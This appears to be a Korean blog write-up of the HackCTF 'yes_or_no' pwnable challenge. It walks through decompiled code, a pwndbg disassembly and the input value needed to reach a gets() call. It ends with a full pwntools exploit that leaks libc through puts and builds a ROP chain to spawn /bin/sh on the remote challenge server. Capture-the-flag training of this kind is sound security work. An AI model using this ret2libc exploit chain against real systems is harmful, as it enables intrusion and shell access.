check
- 64bit
- NX 가 걸려있다
- 18.04에서 만들어진? 테스트된 문제라고 한다.
Analyze
pseudo code (IDA 사용)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
int v5; // ecx
int v6; // eax
int v7; // eax
char s; // [rsp+Eh] [rbp-12h]
int v10; // [rsp+18h] [rbp-8h]
int v11; // [rsp+1Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
v11 = 5;
puts("Show me your number~!");
fgets(&s, 10, stdin);
v10 = atoi(&s);
if ( (v11 - 10) >> 3 < 0 )
{
v4 = 0;
}
else
{
v3 = v11++;
v4 = v10 - v3;
}
if ( v4 == v10 )
{
puts("Sorry. You can't come with us");
}
else
{
v5 = 1204 / ++v11;
v6 = v11++;
if ( v10 == v6 * v5 << (++v11 % 20 + 5) )
{
puts("That's cool. Follow me");
gets(&s);
}
else
{
v7 = v11--;
if ( v10 == v7 )
{
printf("Why are you here?");
return 0;
}
puts("All I can say to you is \"do_system+1094\".\ngood luck");
}
}
return 0;
}
|
cs |
- rbp로부터 0x12byte만큼 떨어진 문자열s에 fgets 함수를 이용해 표준입력을 통해 10byte만큼 입력받도록 한다.
- v10은 s를 atoi 함수를 이용해 정수로 변환한 값이다. 이 때 atoi 함수는
- 이번 문제의 목표는 여러 조건들을 맞춰 gets(&s)에 도달하여 버퍼오버플로우를 발생시키는 것이다.
>> 조건에 대해 pseudo code로 이해하는 것은 조금 어려울 것 같아서 아래에서 디버깅을 통해 찾아보려고 한다!
>> buf[0x12]+SFP[8]+RET(system("/bin/sh"))
실행
debugging
do_system + 1094에 대한 언급이 있어서 한 번 찾아봤다. 무슨 의미인지는 잘 모르겠지만,, 우선 rsp-0x40에 대한 정보를 찾아보려고 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
|
pwndbg> disassemble main
Dump of assembler code for function main:
0x00000000004006c7 <+0>: push rbp
0x00000000004006c8 <+1>: mov rbp,rsp
0x00000000004006cb <+4>: sub rsp,0x20
0x00000000004006cf <+8>: mov rax,QWORD PTR [rip+0x20098a] # 0x601060 <stdout@@GLIBC_2.2.5>
0x00000000004006d6 <+15>: mov ecx,0x0
0x00000000004006db <+20>: mov edx,0x2
0x00000000004006e0 <+25>: mov esi,0x0
0x00000000004006e5 <+30>: mov rdi,rax
0x00000000004006e8 <+33>: call 0x4005c0 <setvbuf@plt>
0x00000000004006ed <+38>: mov DWORD PTR [rbp-0x4],0x5
0x00000000004006f4 <+45>: lea rdi,[rip+0x1ad] # 0x4008a8
0x00000000004006fb <+52>: call 0x400580 <puts@plt>
0x0000000000400700 <+57>: mov rdx,QWORD PTR [rip+0x200969] # 0x601070 <stdin@@GLIBC_2.2.5>
0x0000000000400707 <+64>: lea rax,[rbp-0x12]
0x000000000040070b <+68>: mov esi,0xa
0x0000000000400710 <+73>: mov rdi,rax
0x0000000000400713 <+76>: call 0x4005a0 <fgets@plt>
0x0000000000400718 <+81>: lea rax,[rbp-0x12]
0x000000000040071c <+85>: mov rdi,rax
0x000000000040071f <+88>: mov eax,0x0
0x0000000000400724 <+93>: call 0x4005d0 <atoi@plt>
0x0000000000400729 <+98>: mov DWORD PTR [rbp-0x8],eax
0x000000000040072c <+101>: mov eax,DWORD PTR [rbp-0x4]
0x000000000040072f <+104>: sub eax,0xa
0x0000000000400732 <+107>: sar eax,0x3
0x0000000000400735 <+110>: test eax,eax
0x0000000000400737 <+112>: js 0x40074b <main+132>
0x0000000000400739 <+114>: mov eax,DWORD PTR [rbp-0x4]
0x000000000040073c <+117>: lea edx,[rax+0x1]
0x000000000040073f <+120>: mov DWORD PTR [rbp-0x4],edx
0x0000000000400742 <+123>: mov edx,DWORD PTR [rbp-0x8]
0x0000000000400745 <+126>: sub edx,eax
0x0000000000400747 <+128>: mov eax,edx
0x0000000000400749 <+130>: jmp 0x400750 <main+137>
0x000000000040074b <+132>: mov eax,0x0
0x0000000000400750 <+137>: cmp eax,DWORD PTR [rbp-0x8]
0x0000000000400753 <+140>: jne 0x400766 <main+159>
0x0000000000400755 <+142>: lea rdi,[rip+0x162] # 0x4008be
0x000000000040075c <+149>: call 0x400580 <puts@plt>
0x0000000000400761 <+154>: jmp 0x40080a <main+323>
0x0000000000400766 <+159>: add DWORD PTR [rbp-0x4],0x1
0x000000000040076a <+163>: mov eax,0x4b4
0x000000000040076f <+168>: cdq
0x0000000000400770 <+169>: idiv DWORD PTR [rbp-0x4]
0x0000000000400773 <+172>: mov ecx,eax
0x0000000000400775 <+174>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000400778 <+177>: lea edx,[rax+0x1]
0x000000000040077b <+180>: mov DWORD PTR [rbp-0x4],edx
0x000000000040077e <+183>: mov esi,ecx
0x0000000000400780 <+185>: imul esi,eax
0x0000000000400783 <+188>: add DWORD PTR [rbp-0x4],0x1
0x0000000000400787 <+192>: mov ecx,DWORD PTR [rbp-0x4]
0x000000000040078a <+195>: mov edx,0x66666667
0x000000000040078f <+200>: mov eax,ecx
0x0000000000400791 <+202>: imul edx
0x0000000000400793 <+204>: sar edx,0x3
0x0000000000400796 <+207>: mov eax,ecx
0x0000000000400798 <+209>: sar eax,0x1f
0x000000000040079b <+212>: sub edx,eax
0x000000000040079d <+214>: mov eax,edx
0x000000000040079f <+216>: shl eax,0x2
0x00000000004007a2 <+219>: add eax,edx
0x00000000004007a4 <+221>: shl eax,0x2
0x00000000004007a7 <+224>: sub ecx,eax
0x00000000004007a9 <+226>: mov edx,ecx
0x00000000004007ab <+228>: lea eax,[rdx+0x5]
0x00000000004007ae <+231>: mov ecx,eax
0x00000000004007b0 <+233>: shl esi,cl
0x00000000004007b2 <+235>: mov eax,esi
0x00000000004007b4 <+237>: cmp DWORD PTR [rbp-0x8],eax
0x00000000004007b7 <+240>: jne 0x4007d8 <main+273>
0x00000000004007b9 <+242>: lea rdi,[rip+0x11c] # 0x4008dc
0x00000000004007c0 <+249>: call 0x400580 <puts@plt>
0x00000000004007c5 <+254>: lea rax,[rbp-0x12]
0x00000000004007c9 <+258>: mov rdi,rax
0x00000000004007cc <+261>: mov eax,0x0
0x00000000004007d1 <+266>: call 0x4005b0 <gets@plt>
0x00000000004007d6 <+271>: jmp 0x40080a <main+323>
0x00000000004007d8 <+273>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004007db <+276>: lea edx,[rax-0x1]
0x00000000004007de <+279>: mov DWORD PTR [rbp-0x4],edx
0x00000000004007e1 <+282>: cmp DWORD PTR [rbp-0x8],eax
0x00000000004007e4 <+285>: jne 0x4007fe <main+311>
0x00000000004007e6 <+287>: lea rdi,[rip+0x106] # 0x4008f3
0x00000000004007ed <+294>: mov eax,0x0
0x00000000004007f2 <+299>: call 0x400590 <printf@plt>
0x00000000004007f7 <+304>: mov eax,0x0
0x00000000004007fc <+309>: jmp 0x40080f <main+328>
0x00000000004007fe <+311>: lea rdi,[rip+0x103] # 0x400908
0x0000000000400805 <+318>: call 0x400580 <puts@plt>
0x000000000040080a <+323>: mov eax,0x0
0x000000000040080f <+328>: leave
0x0000000000400810 <+329>: ret
End of assembler dump.
|
cs |
- ~main+93: atoi 함수를 호출하는 부분까지가 조건문이 나오기 이전의 코드이다.
- main+237: rbp-0x8의 값(v10)과 eax의 값을 비교한다
>> 원하는 gets 함수에 도달할 수 있는 조건 비교 부분이다. 여기에 break point를 설정하여 어떻게 도달할 수 있는지 알아보도록 한다.
비교하는 부분에 break point를 설정했을 때 eax(rax)의 값이 0x960000임을 확인할 수 있다. pseudo code에서 v6 * v5 << (++v11 % 20 + 5) 부분이 eax로 들어가며 이 값이 0x960000라는 것을 알 수 있다. 즉, rbp-8인 v10 변수의 값이 0x960000이여야 하고 처음 숫자(s)를 입력할 때 0x960000의 10진수 값(9,830,400)을 넣어주면 된다.
gadget
one_gadget
Exploit
from pwn import *
#context.log_level = 'debug'
#p = process("./yes_or_no")
p = remote("ctf.j0n9hyun.xyz", 3009)
elf = ELF("./yes_or_no")
libc = ELF("./libc-2.27.so")
num = "9830400"
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
puts_off = libc.symbols['puts']
main_add = elf.symbols['main']
pop_rdi = 0x400883
ret = 0x40056e
one_gadget = 0x10a45c
system_off = libc.symbols['system']
binsh = libc.search("/bin/sh").next()
p.sendlineafter("number~!\n",num)
leak = "A"*(0x12+8)
leak += p64(pop_rdi)
leak += p64(puts_got)
leak += p64(puts_plt)
leak += p64(main_add)
p.sendlineafter("Follow me\n", leak)
puts_add = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
libcbase = puts_add - puts_off
log.info("libc-base: "+hex(libcbase))
system_add = system_off + libcbase
binsh_add = binsh + libcbase
pl = "A"*(0x12+8)
pl += p64(pop_rdi)
pl += p64(binsh_add)
pl += p64(ret)
pl += p64(system_add)
p.sendlineafter("number~!\n", num)
p.sendlineafter("Follow me\n", pl)
p.interactive()
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] Poet (0) | 2021.02.11 |
---|---|
[HackCTF] RTL_World (0) | 2021.02.11 |
[HackCTF] BOF_PIE (0) | 2021.02.10 |
[HackCTF] BASIC_FSB (0) | 2021.02.10 |
[HackCTF] Simple_Overflow_ver_2 (0) | 2021.02.09 |